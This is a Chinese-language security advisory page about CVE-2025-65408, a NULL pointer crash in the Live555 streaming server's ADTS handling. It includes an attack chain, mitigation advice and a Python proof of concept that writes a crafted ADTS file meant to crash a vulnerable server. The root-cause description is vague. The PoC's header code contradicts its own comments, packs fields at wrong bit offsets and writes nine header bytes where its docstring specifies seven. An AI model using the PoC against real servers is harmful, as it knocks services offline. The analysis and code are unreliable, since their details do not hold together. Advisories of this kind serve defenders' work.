IPBUF安全漏洞报告
English
CVE-2025-65408 CVSS 6.5 中危

CVE-2025-65408 Live555 ADTSAudioFileServerMediaSubsession NULL指针解引用拒绝服务漏洞

披露日期: 2025-12-01

漏洞信息

漏洞编号
CVE-2025-65408
漏洞类型
NULL指针解引用/拒绝服务
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Live555 Streaming Media v2018.09.02

相关标签

NULL指针解引用拒绝服务Live555流媒体ADTSCVE-2025-65408媒体服务器安全漏洞

漏洞概述

CVE-2025-65408是Live555 Streaming Media媒体服务器中的一个中等严重性安全漏洞。该漏洞存在于ADTSAudioFileServerMediaSubsession类的createNewRTPSink()成员函数中,攻击者可以通过提供一个精心构造的ADTS(Audio Data Transport Stream)文件来触发NULL指针解引用,从而导致服务器进程崩溃并造成拒绝服务(DoS)攻击。Live555是一个广泛使用的开源流媒体服务器框架,被应用于多种流媒体解决方案中。此漏洞无需特殊权限即可被利用,但需要用户交互来触发。CVSS 3.1评分6.5(中等),攻击向量为网络,攻击复杂度低,无需认证,但需要用户交互。机密性影响低,完整性影响无,但可用性影响高。攻击者可以利用此漏洞使流媒体服务不可用,影响正常业务的连续性。建议受影响的用户及时更新到最新版本或应用官方发布的安全补丁。

技术细节

该漏洞的根本原因在于Live555 Streaming Media v2018.09.02版本中ADTSAudioFileServerMediaSubsession::createNewRTPSink()函数存在NULL指针解引用问题。当服务器处理ADTS格式的音频文件时,该函数在创建RTP sink时未正确验证指针有效性。具体来说:1) 攻击者构造一个恶意的ADTS文件,该文件包含特殊的帧头信息或损坏的数据;2) 当Live555服务器解析该ADTS文件并调用createNewRTPSink()函数时,函数内部某个应为有效对象的指针被设置为NULL或未正确初始化;3) 后续代码尝试访问该NULL指针的成员变量或调用其方法,导致程序崩溃;4) 攻击者通过诱骗用户打开或服务器自动处理该恶意文件即可触发漏洞。此漏洞影响流媒体服务器的可用性,可能被用于大规模拒绝服务攻击。攻击者需要能够使目标服务器处理特制的ADTS文件,可通过上传恶意文件或劫持流媒体源等方式实现。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标服务器是否运行存在漏洞的Live555 Streaming Media v2018.09.02版本,确定ADTS流媒体服务端口
STEP 2
步骤2: 构造恶意ADTS文件
攻击者创建包含特殊构造帧头或损坏数据的ADTS文件,精心设计数据使createNewRTPSink()函数中某个指针为NULL
STEP 3
步骤3: 投递恶意文件
通过文件上传、流媒体源劫持、社交工程等方式使目标服务器处理该恶意ADTS文件
STEP 4
步骤4: 触发漏洞
当服务器解析ADTS文件并调用ADTSAudioFileServerMediaSubsession::createNewRTPSink()时,触发NULL指针解引用
STEP 5
步骤5: 拒绝服务
程序访问NULL指针导致崩溃,服务中断。攻击者可重复利用实现持续拒绝服务攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-65408 PoC - Live555 NULL Pointer Dereference in ADTSAudioFileServerMediaSubsession This PoC generates a crafted ADTS file that triggers NULL pointer dereference in createNewRTPSink() function, causing denial of service. """ import struct import sys def create_crafted_adts_file(filename, corrupt_frame=False): """ Generate a crafted ADTS file to trigger CVE-2025-65408 ADTS Header Structure (7 bytes): - Sync word: 12 bits (0xFFF) - MPEG-4 LC: 1 bit (0) - Layer: 2 bits (00) - Protection absent: 1 bit (1 = no CRC) - Profile: 2 bits - Sampling frequency index: 4 bits - Private bit: 1 bit - Channel configuration: 3 bits - Original/Copy: 1 bit - Home: 1 bit - Copyright identification bit: 1 bit - Copyright identification start: 1 bit - Frame length: 13 bits - Adts buffer fullness: 11 bits - Number of AAC frames: 2 bits """ adts_header = bytearray() # Sync word (0xFFF) + MPEG-4 LC + Layer + Protection absent # First 2 bytes: 0xFFF0 (1111 1111 1111 0000) # 0xFFF = sync word, 0x0 = MPEG-4 LC (1 bit) + Layer (2 bits) + Protection absent = 1 if corrupt_frame: # Corrupt frame to trigger NULL pointer dereference adts_header.append(0xFF) adts_header.append(0xF0) # Invalid config else: adts_header.append(0xFF) adts_header.append(0xF1) # Valid sync + MPEG-4 LC LC + no CRC # Profile (2 bits) + Sampling frequency index (4 bits) + Private (1 bit) # Using AAC LC profile (00) and 44100 Hz sampling (4 = 0x04) profile_and_samp = (0x00 << 6) | (0x04 << 2) | 0x00 adts_header.append(profile_and_samp) # Channel configuration (2 bits) + Original/Copy + Home + Copyright bits channel_config = (0x02 << 6) | (0 << 2) | (0 << 1) | 0 adts_header.append(channel_config) # Copyright identification + Frame length high (5 bits) frame_length_high = 0x00 adts_header.append(frame_length_high) # Frame length low (8 bits) - total frame length including header frame_length_low = 0x15 # Minimal frame length adts_header.append(frame_length_low) # ADTS buffer fullness (11 bits) + Number of AAC frames (2 bits) buffer_fullness = 0x7FF # Variable bit rate aac_frames = 1 adts_footer = (buffer_fullness << 6) | aac_frames adts_header.append((adts_footer >> 8) & 0xFF) adts_header.append(adts_footer & 0xFF) # Add minimal frame data to make file parseable frame_data = b'\x00' * 200 # Write crafted ADTS file with open(filename, 'wb') as f: f.write(adts_header) f.write(frame_data) print(f"[+] Crafted ADTS file created: {filename}") print(f"[+] File size: {len(adts_header) + len(frame_data)} bytes") return filename def main(): print("=" * 60) print("CVE-2025-65408 PoC - Live555 NULL Pointer Dereference") print("=" * 60) filename = "crafted_cve_2025_65408.adts" create_crafted_adts_file(filename, corrupt_frame=True) print("\n[*] Usage: Serve this file via vulnerable Live555 server") print("[*] Or open with media player that uses Live555 library") print("[*] Expected result: Server crash with NULL pointer dereference") if __name__ == "__main__": main()

影响范围

Live555 Streaming Media v2018.09.02及之前版本

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 禁用或限制ADTS流媒体服务的使用;2) 实施严格的文件上传验证,仅允许来自可信源的媒体文件;3) 配置服务器资源限制,防止单个请求耗尽资源;4) 使用入侵检测系统监控异常流媒体访问模式;5) 考虑使用老版本稳定分支并应用社区提供的临时修复;6) 对关键服务部署冗余和负载均衡以提高可用性。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表